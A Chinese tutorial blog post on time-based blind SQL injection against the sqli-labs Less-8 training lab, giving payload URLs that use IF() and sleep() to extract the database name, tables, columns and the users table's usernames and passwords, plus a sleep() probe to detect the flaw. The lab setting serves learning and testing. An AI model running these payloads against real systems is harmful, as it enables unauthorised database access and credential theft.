SQL注入之布尔盲注入(二)

1.首先了解一下在SQL中if语句的用法

IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2 expr2
的值为FALSE,则返回值为 expr3

结合sleep()可以构成基于时间盲注的SQL语句

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and  if (substring(database(),1,1)='s',sleep(3),null) --+

在这里插入图片描述
该语句的意思为:如果数据库名的第一个字符等于字母s为真,则延时三秒后进行响应,如果为假,则不执行任何语句,这里的null可以写成任何对该语句没有影响的条件,例如写个1、2

2.修改判断位置,以此判断出数据库名的其他字符,直到整个数据库名全部取出

3.已知数据库名为security,查询数据库中的表

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(3),null) --+

结合我在盲注一中讲述的内容,查出所有的表

4.已知数据库名security、数据表users,查询表中的字段

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i',sleep(3),null) --+

5.已知数据库名security、数据表users,users表中username、password字段,查询字段中的内容

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and  if (substring((select group_concat(username,'^',password) from security.users),1,1)='d',sleep(3),null) --+

至此基于时间延时盲注入完成,关于密码大小写敏感的方法已经在我布尔盲注入一中提到

提示:
判断是否能使用延时注入的方法是将sleep()带入注入点,看能否被执行,执行一下语句,如果存在延时注入,页面将会延迟五秒响应

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and sleep(5) --+

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值